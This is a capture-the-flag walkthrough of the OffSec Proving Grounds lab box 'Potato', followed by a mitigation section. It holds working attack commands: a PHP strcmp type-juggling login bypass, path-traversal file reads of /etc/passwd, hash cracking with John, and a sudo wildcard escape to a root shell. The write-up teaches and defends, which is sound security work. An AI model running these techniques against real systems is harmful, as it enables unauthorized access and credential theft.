OffSec Proving Grounds — Potato

From PHP Type Juggling to Root

Roshan Rajbanshi

InfoSec Write-ups

· ~8 min read · March 19, 2026 (Updated: March 19, 2026) · Free: Yes

From PHP Type Juggling to Root

Difficulty: Easy OS: Linux (Ubuntu 20.04) Date: March 13, 2026

Introduction

Potato is an Easy-rated Linux machine on OffSec Proving Grounds (Play). On the surface, it looks like a two-port box with a dead web page — and honestly, if you only run a quick scan, you'll spend a lot of time going in circles. The real lesson here is enumeration. Always run a full port scan. Port 2112 is always there, and without it, everything falls apart.

The box chains together a few classic weaknesses: PHP type juggling to get past the login, anonymous FTP leaking a source code backup, LFI to pull /etc/passwd, a crackable MD5 hash, and a sudo wildcard that hands you root. Nothing here is cutting-edge, but it's a solid box for building the habit of being methodical and not skipping steps.

┌─────────────────────────────────────────────────────────┐
│                   TABLE OF CONTENTS                     │
├─────────────────────────────────────────────────────────┤
│  1. Reconnaissance                                      │
│  2. Web Enumeration                                     │
│  3. PHP Type Juggling — Login Bypass                    │
│  4. Admin Dashboard Exploration                         │
│  5. FTP on Port 2112 — Source Code Disclosure           │
│  6. Local File Inclusion (LFI)                          │
│  7. Password Cracking                                   │
│  8. Initial Access via SSH                              │
│  9. Privilege Escalation — Sudo Wildcard Escape         │
│  10. Defense & Mitigation                               │
│  11. Summary                                            │
└─────────────────────────────────────────────────────────┘

Attack Chain

Recon → Dir Enum → PHP Type Juggling Login Bypass
     → Admin Dashboard → FTP Anonymous (Port 2112)
     → Source Code Disclosure → LFI (6x Path Traversal)
     → /etc/passwd Read → MD5crypt Hash Crack
     → SSH Access → Sudo Wildcard Escape → ROOT

1. Reconnaissance

Standard starting point — Nmap with service detection and scripts:

nmap -Pn -sC -F -A <TARGET>

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company

Two ports. SSH and a web server. Nothing exciting yet. While we poke at the web side, kick off a full port scan in the background — this one matters:

nmap -Pn -p- --min-rate 10000 --max-retries 2 <TARGET>

This is what eventually surfaces on port 2112, which is the turning point of the whole box. Don't skip it.

2. Web Enumeration

Hitting the root gives us a placeholder page — "under construction," potato photo, nothing useful. We run Gobuster while looking around:

gobuster dir -u http://<TARGET> \
  -w /usr/share/dirb/wordlists/common.txt \
  -x php,txt,html

Results:

/admin    (Status: 301) [--> http://<TARGET>/admin/]
/index.php (Status: 200)

/admin/ redirects to a login page. Curling it shows a simple form of posting to index.php?login=1:

curl -s http://<TARGET>/admin/
<form action="index.php?login=1" method="POST">
  <input type="text" name="username" required>
  <input type="password" name="password" required>
</form>

3. PHP Type Juggling — Login Bypass

Default creds don't work. Basic SQLi doesn't work either. But the login is built with PHP's strcmp() — and that's a problem.

When you pass an array instead of a string to strcmp(), PHP returns NULL. Under loose comparison (==), NULL == 0 is TRUE. That's it — the authentication check passes without a valid password.

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
  -d "username=admin&password[]=1" -L -c /tmp/cookies.txt

Response:

Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>

We're in. Cookie saved.

Why this works: strcmp($array, $string) returns NULL. NULL == 0 is TRUE under loose comparison. The fix is === (strict comparison) or validating that the input is actually a string before touching it.

4. Admin Dashboard Exploration

The dashboard has four pages worth looking at:

Home | Users | Date | Logs | Ping

A few things stand out immediately:

Logs — takes a POST parameter file and displays its contents. Classic LFI setup.
Ping — runs a live ping to 8.8.8.8. Potential command injection, though it ignores custom input.
Date — shows system time via a shell call.
Cookie — after login, the app sets a cookie named pass and puts the actual plaintext password in it via setcookie('pass', $pass, ...).

That last point means we can just read the cookie to get the current admin password:

curl -s -X POST "http://<TARGET>/admin/index.php?login=1" \
  -d "username=admin&password[]=1" -L -c /tmp/cookies_real.txt -v 2>&1 \
  | grep -i "set-cookie"
Set-Cookie: pass=<REDACTED>

The cookie value is the live password. We'll need it for the LFI step.

5. FTP on Port 2112 — Source Code Disclosure

The full port scan comes back with port 2112 open. A targeted scan tells us exactly what's there:

nmap -Pn -p 2112 -sV -sC <TARGET>
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp   ftp   901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp   ftp    54 Aug  2  2020 welcome.msg

ProFTPD with anonymous login allowed, and a .bak file sitting in the root. We grab it:

ftp -n <TARGET> 2112 <<EOF
user anonymous anonymous
get index.php.bak
get welcome.msg
bye
EOF

index.php.bak is the source code of the admin login page:

<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0
      && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome!";
    setcookie('pass', $pass, time() + 365*24*3600);
  } else {
    echo "<p>Bad login/password!</p>";
  }
  exit();
}
?>

This confirms everything — the strcmp() vulnerability, the plaintext cookie, and the fact that the original password was potato (since changed, which is why that didn't work earlier). The cookie we pulled in step 4 is the current live password.

6. Local File Inclusion (LFI)

The Logs page passes the file POST parameter straight into a file read with no sanitization. Standard ../../../etc/passwd returns empty — the read is relative to a deeper subdirectory. After testing different depths, 6 levels ../ is what it takes:

curl -s -X POST "http://<TARGET>/admin/dashboard.php?page=log" \
  -H "Cookie: pass=<REDACTED>" \
  --data-raw "file=../../../../../../etc/passwd"

/etc/passwd output:

root:x:0:0:root:/root:/bin/bash
...
florianges:x:1000:1000:florianges:/home/florianges:/bin/bash
webadmin:<HASH>:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

Two users with login shells. More importantly, webadmin's password hash is sitting right there in /etc/passwd, not in /etc/shadow where it belongs. That's a serious misconfiguration, and it means anyone who can read the file can grab the hash.

7. Password Cracking

The $1$ prefix means this is an MD5crypt hash — old and fast to crack. We throw it at John with rockyou:

echo 'webadmin:<HASH>' > /tmp/hash.txt
john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

<CRACKED>           (webadmin)
1g 0:00:00:00 DONE — 1.886g/s

Done in under a second. That's the danger of MD5crypt — it was designed for an era when cracking was slow. On modern hardware, it offers almost no resistance.

8. Initial Access via SSH

ssh webadmin@<TARGET>
# Password: <REDACTED>
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
webadmin@serv:~$

Shell as webadmin.

9. Privilege Escalation — Sudo Wildcard Escape

First thing after landing — check sudo:

sudo -l
User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*

The intent is clear — webadmin can run /bin/nice on files inside /notes/. But the wildcard * doesn't block path traversal. The OS resolves ../ after sudo does its pattern match, so we can walk straight out of /notes/ into anywhere on the filesystem:

sudo /bin/nice /notes/../bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

Root. The path /notes/../bin/sh resolves to /bin/sh. Sudo saw it match /notes/* and allowed it. The OS then resolved the traversal and ran /bin/sh as root.

10. Defense & Mitigation

10.1 PHP Type Juggling (Login Bypass)

Issue Fix strcmp() with == loose comparison Use === strict comparison No input type validation. Validate that the input is a string before comparing the array accepted as the password field. Add is_string() a check on all form inputs

// Vulnerable
if (strcmp($_POST['password'], $pass) == 0)
// Fixed
if (is_string($_POST['password']) && hash_equals($pass, $_POST['password']))

10.2 Sensitive Data in Cookies

Storing the password in a cookie is an obvious but surprisingly common mistake. Any attacker who can intercept traffic or access browser storage gets the plaintext password immediately.

// Vulnerable — never do this
setcookie('pass', $pass, time() + 365*24*3600);
// Fixed — use server-side sessions
session_start();
$_SESSION['authenticated'] = true;
$_SESSION['user'] = $username;

Sessions keep a sensitive state server-side. The client only ever sees a random session ID.

10.3 Anonymous FTP Exposing Source Code

Two issues here: anonymous FTP was enabled, and a .bak source file was left in the FTP root. Either one alone is bad. Together, they hand the entire application logic to an unauthenticated attacker.

Disable anonymous FTP if it is not needed:

# /etc/proftpd/proftpd.conf
# Remove or comment out the <Anonymous> block entirely

Never leave backup files (.bak, .old, .orig) in any directory accessible over FTP or HTTP.
Audit FTP directories regularly for leftover files.

10.4 Local File Inclusion (LFI)

The file parameter is passed directly to a file read with no sanitization:

// Vulnerable
$content = file_get_contents($_POST['file']);
// Fixed — strict whitelist
$allowed = ['log_01.txt', 'log_02.txt', 'log_03.txt'];
if (!in_array($_POST['file'], $allowed, true)) {
    die("Access denied");
}
$content = file_get_contents('/var/www/html/admin/logs/' . $_POST['file']);

Additional layers:

Use basename() to strip any directory components from user input
Lock down the web server user (www-data) with strict filesystem permissions
Set PHP's open_basedir to restrict which directories PHP can read from

10.5 Password Hash in /etc/passwd

/etc/passwd is world-readable by design — every user on the system can read it. Password hashes belong in /etc/shadow, which is readable only by root.

# Check for hashes sitting in /etc/passwd
awk -F: '$2 != "x" && $2 != "*" && $2 != "!" {print $1}' /etc/passwd
# Migrate to shadow passwords
pwconv
chmod 640 /etc/shadow
chown root:shadow /etc/shadow

And stop using MD5crypt. It has been broken for decades. Use SHA-512 at a minimum:

# /etc/login.defs
ENCRYPT_METHOD SHA512
SHA_CRYPT_MIN_ROUNDS 5000

10.6 Sudo Wildcard Escape

Wildcards in sudo rules are almost always a mistake. The pattern /notes/* feels restrictive, but it is not — path traversal turns it into unrestricted binary execution.

# Vulnerable
webadmin ALL=(ALL:ALL) /bin/nice /notes/*
# Fixed — list specific files explicitly
webadmin ALL=(ALL:ALL) /bin/nice /notes/report.txt
webadmin ALL=(ALL:ALL) /bin/nice /notes/status.txt

Better yet, question whether this sudo rule needs to exist at all. Ask yourself what webadmin actually needs, grant only that, and nothing more. Run sudo -l As each service account regularly has misconfigurations like this are easy to miss during setup and easy to catch during review.

11. Summary

┌──────────────────────────┬────────────────────────────────────┬───────────────┐
│ Step                     │ Technique                          │ Tool          │
├──────────────────────────┼────────────────────────────────────┼───────────────┤
│ Port discovery           │ Full TCP scan                      │ nmap          │
│ Directory brute force    │ Gobuster → /admin/                 │ gobuster      │
│ Auth bypass              │ PHP strcmp() type juggling         │ curl          │
│ Source code leak         │ Anonymous FTP + .bak file          │ ftp           │
│ LFI                      │ 6-level path traversal             │ curl          │
│ Credential extraction    │ /etc/passwd hash read              │ LFI           │
│ Hash cracking            │ MD5crypt → cracked                 │ john          │
│ Initial access           │ SSH as webadmin                    │ ssh           │
│ Privilege escalation     │ sudo wildcard escape via ../       │ sudo          │
└──────────────────────────┴────────────────────────────────────┴───────────────┘

Vulnerabilities chained:

PHP Type Juggling → Source Code Disclosure → LFI
→ Weak Hashing → Weak Password → Sudo Misconfiguration

Rooted — OffSec PG Play | March 2026

#cybersecurity #pentesting #php #offensive-security #writing

OffSec Proving Grounds — Potato

From PHP Type Juggling to Root

From PHP Type Juggling to Root

Introduction

Table of Contents

Attack Chain

1. Reconnaissance

2. Web Enumeration

3. PHP Type Juggling — Login Bypass

4. Admin Dashboard Exploration

5. FTP on Port 2112 — Source Code Disclosure

6. Local File Inclusion (LFI)

7. Password Cracking

8. Initial Access via SSH

9. Privilege Escalation — Sudo Wildcard Escape

10. Defense & Mitigation

10.1 PHP Type Juggling (Login Bypass)

10.2 Sensitive Data in Cookies

10.3 Anonymous FTP Exposing Source Code

10.4 Local File Inclusion (LFI)

10.5 Password Hash in /etc/passwd

10.6 Sudo Wildcard Escape

11. Summary

Reporting a Problem